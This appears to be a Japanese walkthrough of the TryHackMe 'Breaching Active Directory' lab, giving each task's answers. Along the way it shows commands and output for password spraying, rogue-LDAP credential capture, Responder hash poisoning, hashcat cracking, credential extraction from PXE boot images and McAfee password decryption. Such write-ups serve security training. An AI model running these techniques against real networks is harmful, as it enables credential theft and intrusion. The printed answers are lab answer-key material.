概要

TryHackMe「Breaching Active Directory」のWalkthroughです。

Task2

Q1.What popular website can be used to verify if your email address or password has ever been exposed in a publicly disclosed data breach?

A.HaveIBeenPwned

Task3

Q1.What is the name of the challenge-response authentication mechanism that uses NTLM?

A.NetNtlm

Q2.What is the username of the third valid credential pair found by the password spraying script?

Hint.If you are not using the AttackBox, make sure to install the Python libraries required to run the script, including both requests and requests_ntlm libraries.

提供されているpythonプログラムでパスワードスプレー攻撃を実行し、ユーザー名を発見します。

$ python ntlm_passwordspray.py -u usernames.txt -f za.tryhackme.com -p Changeme123 -a http://ntlmauth.za.tryhackme.com
[*] Starting passwords spray attack using the following password: Changeme123
[-] Failed login with Username: anthony.reynolds
[-] Failed login with Username: samantha.thompson
[-] Failed login with Username: dawn.turner
[-] Failed login with Username: frances.chapman
[-] Failed login with Username: henry.taylor
[-] Failed login with Username: jennifer.wood
[+] Valid credential pair found! Username: hollie.powell Password: Changeme123
[-] Failed login with Username: louise.talbot
[+] Valid credential pair found! Username: heather.smith Password: Changeme123
[-] Failed login with Username: dominic.elliott
[+] Valid credential pair found! Username: gordon.stevens Password: Changeme123
[-] Failed login with Username: alan.jones
[-] Failed login with Username: frank.fletcher
[-] Failed login with Username: maria.sheppard
[-] Failed login with Username: sophie.blackburn
[-] Failed login with Username: dawn.hughes
[-] Failed login with Username: henry.black
[-] Failed login with Username: joanne.davies
[-] Failed login with Username: mark.oconnor
[+] Valid credential pair found! Username: georgina.edwards Password: Changeme123
[*] Password spray attack completed, 4 valid credential pairs found

A.gordon.stevens

Q3.How many valid credentials pairs were found by the password spraying script?

A.4

Q4.What is the message displayed by the web application when authenticating with a valid credential pair?

Hint.Either modify the password spraying script to print out the "response.text" when the credentials are valid or use a Chrome browser window to authenticate manually using one of the valid credential pairs.

発見した認証情報でWebアプリケーションにログイン出来ました。

A.Hello World

Task4

Q1.What type of attack can be performed against LDAP Authentication systems not commonly found against Windows Authentication systems?

Hint.This is a common attack to run against printers, forcing the printers to return AD credentials.

A.LDAP Pass-back Attack

Q2.What two authentication mechanisms do we allow on our rogue LDAP server to downgrade the authentication and make it clear text?

Hint.Use ldapsearch to list the supported authentication mechanisms on the rogue LDAP server. Answer format is , in alphabetical order.

構築したRogue LDAP Serverに対してldapsearchを実行し確認します。

$ ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms
dn:
supportedSASLMechanisms: LOGIN
supportedSASLMechanisms: PLAIN

A.LOGIN,PLAIN

Q3.What is the password associated with the svcLDAP account?

何回かTest Settingsを実行

$ sudo tcpdump -SX -i breachad tcp port 389

(省略)

09:56:10.776020 IP 10.200.4.201.49917 > 10.50.2.30.ldap: Flags [P.], seq 2298699562:2298699627, ack 4084903087, win 1025, length 65
        0x0000:  4500 0069 996e 4000 7f06 4640 0ac8 04c9  E..i.n@...F@....
        0x0010:  0a32 021e c2fd 0185 8903 5f2a f37a acaf  .2........_*.z..
        0x0020:  5018 0401 6232 0000 3084 0000 003b 0201  P...b2..0....;..
        0x0030:  1660 8400 0000 3202 0102 0418 7a61 2e74  .`....2.....za.t
        0x0040:  7279 6861 636b 6d65 2e63 6f6d 5c73 7663  ryhackme.com\svc
        0x0050:  4c44 4150 8013 7472 7968 6163 6b6d 656c  LDAP..tryhackmel
        0x0060:  6461 7070 6173 7331 40                   dappass1@

A.tryhackmeldappass1@

Task5

Q1.What is the name of the tool we can use to poison and capture authentication requests on the network?

A.Responder

Q2.What is the username associated with the challenge that was captured?

Responderを実行します。

$ sudo responder -I breachad

しばらく待っているとハッシュ値を得られました。

[SMB] NTLMv2-SSP Client   : 10.200.4.202
[SMB] NTLMv2-SSP Username : ZA\svcFileCopy
[SMB] NTLMv2-SSP Hash     : svcFileCopy::ZA:0a5448743b8d89d6:250B69CDCC8906515DCF924EDCB59BE3:010100000000000080CC8A6EEC72DB01A6B73243635180F100000000020008004E00450038004A0001001E00570049004E002D00370047005400320041003500580052004B003200380004003400570049004E002D00370047005400320041003500580052004B00320038002E004E00450038004A002E004C004F00430041004C00030014004E00450038004A002E004C004F00430041004C00050014004E00450038004A002E004C004F00430041004C000700080080CC8A6EEC72DB01060004000200000008003000300000000000000000000000002000007A5A4FE12A9AE5E0A0810506568751D8DFE3F796E295ACE976695A95C613950F0A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00350030002E0032002E00330030000000000000000000

A.svcFileCopy

Q3.What is the value of the cracked password associated with the challenge that was captured?

Hashcatでハッシュ値を解析し、パスワードを得られました。

$ hashcat -m 5600 ntlmhash passwordlist-1647876320267.txt

SVCFILECOPY::ZA:0a5448743b8d89d6:250b69cdcc8906515dcf924edcb59be3:010100000000000080cc8a6eec72db01a6b73243635180f100000000020008004e00450038004a0001001e00570049004e002d00370047005400320041003500580052004b003200380004003400570049004e002d00370047005400320041003500580052004b00320038002e004e00450038004a002e004c004f00430041004c00030014004e00450038004a002e004c004f00430041004c00050014004e00450038004a002e004c004f00430041004c000700080080cc8a6eec72db01060004000200000008003000300000000000000000000000002000007a5a4fe12a9ae5e0a0810506568751d8dfe3f796e295ace976695a95c613950f0a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00350030002e0032002e00330030000000000000000000:FPassword1!

A.FPassword1!

Task6

Q1.What Microsoft tool is used to create and host PXE Boot images in organisations?

A.Microsoft Deployment Toolkit

Q2.What network protocol is used for recovery of files from the MDT server?

A.TFTP

Q3.What is the username associated with the account that was stored in the PXE Boot image?

http://pxeboot.za.tryhackme.com/へアクセスし、x64{}を確認します。

ターゲットマシンにSSH接続します。

$ ssh thm@THMJMP1.za.tryhackme.com

任意のフォルダを作成し、powerpxeをコピーします。

thm@THMJMP1 C:\Users\thm>cd Documents
thm@THMJMP1 C:\Users\thm\Documents>mkdir hello
thm@THMJMP1 C:\Users\thm\Documents>copy C:\powerpxe hello\
C:\powerpxe\LICENSE
C:\powerpxe\PowerPXE.ps1
C:\powerpxe\README.md
        3 file(s) copied.
thm@THMJMP1 C:\Users\thm\Documents>cd hello

先ほど確認したx64{}をダウンロードします。

thm@THMJMP1 C:\Users\thm\Documents\hello>tftp -i 10.200.4.202 GET "\Tmp\x64{E792F07E-C0FB-4D15-816C-1D04070AD19D}.bcd" conf.bcd

powershellを起動します。

thm@THMJMP1 C:\Users\thm\Documents\hello>powershell -executionpolicy bypass

コピーしたpowerpxeをインポートします。

PS C:\Users\thm\Documents\hello> Import-Module .\PowerPXE.ps1

$BCDFile変数を設定し、Get-WimFile -bcdFileコマンドでプログラムを実行します。

PS C:\Users\thm\Documents\hello> $BCDFile = "conf.bcd"
PS C:\Users\thm\Documents\hello> Get-WimFile -bcdFile $BCDFile
>> Parse the BCD file: conf.bcd
>>>> Identify wim file : \Boot\x64\Images\LiteTouchPE_x64.wim
\Boot\x64\Images\LiteTouchPE_x64.wim

BCDファイルから出力されたwimファイルをダウンロードします。

PS C:\Users\thm\Documents\hello> tftp -i 10.200.4.202 GET "\Boot\x64\Images\LiteTouchPE_x64.wim" pxeboot.w
im
Transfer successful: 341899611 bytes in 325 second(s), 1051998 bytes/s

wimファイルにある資格情報をダウンプします。

PS C:\Users\thm\Documents\hello> Get-FindCredentials -WimFile pxeboot.wim
>> Open pxeboot.wim
>>>> Finding Bootstrap.ini
>>>> >>>> DeployRoot = \\THMMDT\MTDBuildLab$
>>>> >>>> UserID = svcMDT
>>>> >>>> UserDomain = ZA
>>>> >>>> UserPassword = PXEBootSecure1@

A.svcMDT

Q4.What is the password associated with the account that was stored in the PXE Boot image?

A.PXEBootSecure1@

Task7

Q1.What type of files often contain stored credentials on hosts?

A.Configuration Files

Q2.What is the name of the McAfee database that stores configuration including credentials used to connect to the orchestrator?

ma.dbをダウンロードします。

$ scp thm@THMJMP1.za.tryhackme.com:C:/ProgramData/McAfee/Agent/DB/ma.db .
thm@thmjmp1.za.tryhackme.com's password: 
ma.db                                                                   100%  118KB  59.0KB/s   00:02

A.ma.db

Q3.What table in this database stores the credentials of the orchestrator?

sqlitebrowserでma.dbを開き、AGENT_REPOSITORIESテーブルを確認します。

A.AGENT_REPOSITORIES

Q4.What is the username of the AD account associated with the McAfee service?

AGENT_REPOSITORIESテーブルからアカウントを発見しました。

A.svcAV

Q5.What is the password of the AD account associated with the McAfee service?

パスワード復号ツールをダウンロードします。

AUTH_PASSWDカラムからパスワードを入手できたので、ツールを使って復号します。

$ python mcafee_sitelist_pwd_decrypt.py jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==
Crypted password   : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==
Decrypted password : MyStrongPassword!

A.MyStrongPassword!